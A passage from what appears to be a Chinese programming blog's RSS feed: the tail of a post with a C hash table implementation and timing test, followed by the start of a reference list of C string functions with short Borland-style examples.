*T);<br/><br/><br/>#ifdef&nbsp;&nbsp;&nbsp;&nbsp;__cplusplus<br/>}<br/>#endif<br/><br/>#endif&nbsp;&nbsp;&nbsp;&nbsp;/* _HASHTABLE_H */<br/><br/>/////////////////////////////////////////////////////////////////////////////////////////////////////////////////<br/><br/><span style="color:Red">文件2&nbsp;&nbsp; myhash.c</span><br/>#include &#34;myhash.h&#34;<br/>#include &lt;stdio.h&gt;<br/>unsigned int GethashValue(char *key)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int hash;<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned char *p;<br/>&nbsp;&nbsp;&nbsp;&nbsp;for(hash=0, p = (unsigned char *)key; *p ; p++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hash = 31 * hash + *p;<br/>&nbsp;&nbsp;&nbsp;&nbsp;hash=hash &amp; 0x7FFFFFFF;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return hash;<br/>}<br/><br/><br/>HashTable * HashTableNew(int length)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable *hs=(HashTable *)calloc(1,length*(sizeof(HashNode))+sizeof(HashTable));<br/>&nbsp;&nbsp;&nbsp;&nbsp;hs-&gt;size=length;<br/>&nbsp;&nbsp;&nbsp;&nbsp;hs-&gt;current=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return hs;<br/>}<br/><br/>HashTable * NewHashTable(void)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable *hs=(HashTable *)calloc(1,HashDefaultlength*(sizeof(HashNode))+sizeof(HashTable));<br/>&nbsp;&nbsp;&nbsp;&nbsp;hs-&gt;size=HashDefaultlength;<br/>&nbsp;&nbsp;&nbsp;&nbsp;hs-&gt;current=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return hs;<br/>}<br/><br/>void * HashGet(HashTable *T,char * key)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int hash;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int index;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *node;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;hash=GethashValue(key);<br/>&nbsp;&nbsp;&nbsp;&nbsp;index=hash%T-&gt;size;<br/>&nbsp;&nbsp;&nbsp;&nbsp;node=T-&gt;items[index].pt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;while(node) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(key, node-&gt;key)) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return node-&gt;value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;return NULL;<br/>}<br/><br/>void HashSet(HashTable **To,char * key,void *value)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int hash;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int index;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *node;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable&nbsp;&nbsp; * T=*To;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if((T-&gt;size*75)&lt;(T-&gt;current*100)) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HashExpend(To);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;T=*To;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;hash=GethashValue(key);<br/>&nbsp;&nbsp;&nbsp;&nbsp;index=hash%T-&gt;size;<br/>&nbsp;&nbsp;&nbsp;&nbsp;node=T-&gt;items[index].pt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(!node)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;items[index].pt=&amp;T-&gt;items[T-&gt;current];<br/>&nbsp;&nbsp;&nbsp;&nbsp;else {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(node){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(key, node-&gt;key)) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node-&gt;value=value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(node-&gt;next)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node-&gt;next=&amp;T-&gt;items[T-&gt;current];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node-&gt;next=NULL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;items[T-&gt;current].key=key;<br/>&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;items[T-&gt;current].value=value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;current++;<br/>}<br/><br/>void HashAdd(HashTable **To,char * key,void *value)<br/>{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *node;<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int hash;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int index;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable&nbsp;&nbsp; * T=*To;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if((T-&gt;size*75)&lt;(T-&gt;current*100)){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HashExpend(To);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;T=*To;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;hash=GethashValue(key);<br/>&nbsp;&nbsp;&nbsp;&nbsp;index=hash%T-&gt;size;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;items[T-&gt;current].key=key;<br/>&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;items[T-&gt;current].value=value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(T-&gt;items[index].pt)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=T-&gt;items[index].pt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(node-&gt;next)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node-&gt;next=&amp;T-&gt;items[T-&gt;current];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node-&gt;next=NULL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;items[index].pt=&amp;T-&gt;items[T-&gt;current];<br/>&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;current++;<br/>}<br/><br/>void HashRemove(HashTable *T, char * key) {<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int hash;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int index;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *node, *node1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;hash=GethashValue(key);<br/>&nbsp;&nbsp;&nbsp;&nbsp;index=hash%T-&gt;size;<br/>&nbsp;&nbsp;&nbsp;&nbsp;node=T-&gt;items[index].pt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;node1=node;<br/>&nbsp;&nbsp;&nbsp;&nbsp;while(node) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(key, node-&gt;key)) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node-&gt;key=NULL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node-&gt;value=NULL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(node==T-&gt;items[index].pt)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;T-&gt;items[index].pt=NULL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node1-&gt;next=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node1=node;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/><br/>int HashContainKey(HashTable *T,char * key)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int hash;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int index;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *node;<br/><br/>&nbsp;&nbsp; hash=GethashValue(key);<br/>&nbsp;&nbsp;&nbsp;&nbsp;index=hash%T-&gt;size;<br/>&nbsp;&nbsp;&nbsp;&nbsp;node=T-&gt;items[index].pt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;while(node) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(key, node-&gt;key)) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node=node-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br/>}<br/><br/>void HashCopy(HashTable **Tn,HashTable *To)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable *T=*Tn;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode * node=T-&gt;items;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode * nodeT=To-&gt;items;<br/>&nbsp;&nbsp;&nbsp;&nbsp;for(i=0;i&lt;To-&gt;size;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(nodeT[i].key)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HashAdd(Tn,nodeT[i].key,nodeT[i].value);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/><br/>HashTable * HashExpend(HashTable ** To)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable *T=*To;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable *hs;<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int length;<br/>&nbsp;&nbsp;&nbsp;&nbsp;length =(T-&gt;current) * 2 + 1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;hs=(HashTable *)calloc(1, length*(sizeof(HashNode))+sizeof(HashTable));<br/>&nbsp;&nbsp;&nbsp;&nbsp;hs-&gt;size=length;<br/>&nbsp;&nbsp;&nbsp;&nbsp;hs-&gt;current=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashCopy(&amp;hs, T);<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;free(*To);<br/>&nbsp;&nbsp;&nbsp;&nbsp;*To=hs;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return hs;<br/>}<br/><br/>void PrintHash(HashTable *T)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *node=T-&gt;items,*node1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int i;<br/>&nbsp;&nbsp;&nbsp;&nbsp;for(i=0;i&lt;T-&gt;size;i++) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//if(node[i].key)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//printf(&#34;loop：%d:________________________\n&#34;,i);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;%d this index：Key:%s PT:%p,Next:%p,%p\n&#34;,i, node[i].key,node[i].value,node[i].pt,node[i].next,node[i]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;node1=node[i].pt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(node1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;&nbsp;&nbsp; %d include index：Key:%s \tPT:%p,\tNext:%p,%p\n&#34;,i, node1-&gt;key,node1-&gt;value,node1-&gt;pt,node1-&gt;next,node1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; node1=node1-&gt;next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/><br/>void HashFree(HashTable *T)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;free(T);<br/><br/>}<br/><br/><br/>//////////////////////////////////////////////////////////////////////////////////////////////////////<br/><span style="color:Red">文件3 test.c</span><br/><br/>#include &#34;myhash.c&#34;<br/>#include &lt;string.h&gt;<br/>#define N 100001<br/>#define L 32<br/><br/>int main(int argc ,char **argv)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;char key[N][L];<br/>&nbsp;&nbsp;&nbsp;&nbsp;char value[N][L];<br/>&nbsp;&nbsp;&nbsp;&nbsp;char f[L];<br/>&nbsp;&nbsp;&nbsp;&nbsp;int i,n;<br/>&nbsp;&nbsp;&nbsp;&nbsp;char *pf;<br/>&nbsp;&nbsp;&nbsp;&nbsp;float timeuse;<br/>&nbsp;&nbsp;&nbsp;&nbsp;struct timeval tpstart,tpend;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashTable *p;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(argc != 2 ){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;./test num\n&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;n = atoi(argv[1]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(n&gt;N) n=N;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;//p = NewHashTable();<br/>&nbsp;&nbsp;&nbsp;&nbsp;p = HashTableNew(n);<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buf size(%lu): %lubyte\n&#34;,sizeof(key)+sizeof(value),sizeof(key)+sizeof(value)+(n*(sizeof(HashNode))+sizeof(HashTable)));<br/>&nbsp;&nbsp;&nbsp;&nbsp;for(i=0;i&lt;n;i++){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(key[i],&#34;key.%d&#34;,i);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(value[i],&#34;value.%d&#34;,i);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HashAdd(&amp;p,key[i],value[i]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(n &lt;20 )<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PrintHash(p);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;\n&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;while(1){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;Input string(key.N): &#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;scanf(&#34;%s&#34;,f);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strcmp(f,&#34;exit&#34;)==0 || strlen(f)&lt;1) break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gettimeofday(&amp;tpstart,NULL);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((pf= (char *)HashGet(p,f)) == NULL)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;NULL &#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;%s &#34;,pf);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gettimeofday(&amp;tpend,NULL);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;timeuse=(float)(tpend.tv_sec-tpstart.tv_sec)+(float)(tpend.tv_usec-tpstart.tv_usec)/1000000;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34; timeuse: %f\n&#34;,timeuse);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashFree(p);<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>}]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=57</link>
			<title><![CDATA[c语言常用的字符串函数及举例]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[编程学习]]></category>
			<pubDate>Mon,19 Oct 2009 17:14:59 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=57</guid>	
		<description><![CDATA[函数名: stpcpy <br/>功 能: 拷贝一个字符串到另一个 <br/>用 法: char *stpcpy(char *destin, char *source); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char string[10]; <br/>&nbsp;&nbsp; char *str1 = &#34;abcdefghi&#34;;<br/><br/>&nbsp;&nbsp; stpcpy(string, str1); <br/>&nbsp;&nbsp; printf(&#34;%s\n&#34;, string); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strcat <br/>功 能: 字符串拼接函数 <br/>用 法: char *strcat(char *destin, char *source); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char destination[25]; <br/>&nbsp;&nbsp; char *blank = &#34; &#34;, *c = &#34;C++&#34;, *Borland = &#34;Borland&#34;;<br/><br/>&nbsp;&nbsp; strcpy(destination, Borland); <br/>&nbsp;&nbsp; strcat(destination, blank); <br/>&nbsp;&nbsp; strcat(destination, c);<br/><br/>&nbsp;&nbsp; printf(&#34;%s\n&#34;, destination); <br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strchr <br/>功 能: 在一个串中查找给定字符的第一个匹配之处\ <br/>用 法: char *strchr(char *str, char c); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;char string[15]; <br/>&nbsp;&nbsp;&nbsp;&nbsp;char *ptr, c = &#39;r&#39;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;strcpy(string, &#34;This is a string&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;ptr = strchr(string, c); <br/>&nbsp;&nbsp;&nbsp;&nbsp;if (ptr) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;The character %c is at position: %d\n&#34;, c, ptr-string); <br/>&nbsp;&nbsp;&nbsp;&nbsp;else <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;The character was not found\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strcmp <br/>功 能: 串比较 <br/>用 法: int strcmp(char *str1, char *str2); <br/>看Asic码，str1&gt;str2，返回值 &gt; 0；两串相等，返回0<br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;char *buf1 = &#34;aaa&#34;, *buf2 = &#34;bbb&#34;, *buf3 = &#34;ccc&#34;; <br/>&nbsp;&nbsp;&nbsp;&nbsp;int ptr;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;ptr = strcmp(buf2, buf1); <br/>&nbsp;&nbsp;&nbsp;&nbsp;if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;buffer 2 is greater than buffer 1\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;else <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;buffer 2 is less than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;ptr = strcmp(buf2, buf3); <br/>&nbsp;&nbsp;&nbsp;&nbsp;if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;buffer 2 is greater than buffer 3\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;else <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;buffer 2 is less than buffer 3\n&#34;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strncmpi <br/>功 能: 将一个串中的一部分与另一个串比较, 不管大小写 <br/>用 法: int strncmpi(char *str1, char *str2, unsigned maxlen); <br/>程序例:<br/><br/>#include &lt;string.h&gt; <br/>#include &lt;stdio.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp; char *buf1 = &#34;BBB&#34;, *buf2 = &#34;bbb&#34;; <br/>&nbsp;&nbsp; int ptr;<br/><br/>&nbsp;&nbsp; ptr = strcmpi(buf2, buf1);<br/><br/>&nbsp;&nbsp; if (ptr &gt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is greater than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr &lt; 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 is less than buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; if (ptr == 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;buffer 2 equals buffer 1\n&#34;);<br/><br/>&nbsp;&nbsp; return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strcpy <br/>功 能: 串拷贝 <br/>用 法: char *strcpy(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;char string[10]; <br/>&nbsp;&nbsp;&nbsp;&nbsp;char *str1 = &#34;abcdefghi&#34;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;strcpy(string, str1); <br/>&nbsp;&nbsp;&nbsp;&nbsp;printf(&#34;%s\n&#34;, string); <br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0; <br/>} <br/><br/><br/><br/><br/>函数名: strcspn <br/>功 能: 在串中查找第一个给定字符集内容的段 <br/>用 法: int strcspn(char *str1, char *str2); <br/>程序例:<br/><br/>#include &lt;stdio.h&gt; <br/>#include &lt;string.h&gt; <br/>#include &lt;alloc.h&gt;<br/><br/>int main(void) <br/>{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;char *string1 = &#34;1234567890&#34;; <br/>&nbsp;&nbsp;&nbsp;&nbsp;char *string2 = &#34;747DC8&#34;; 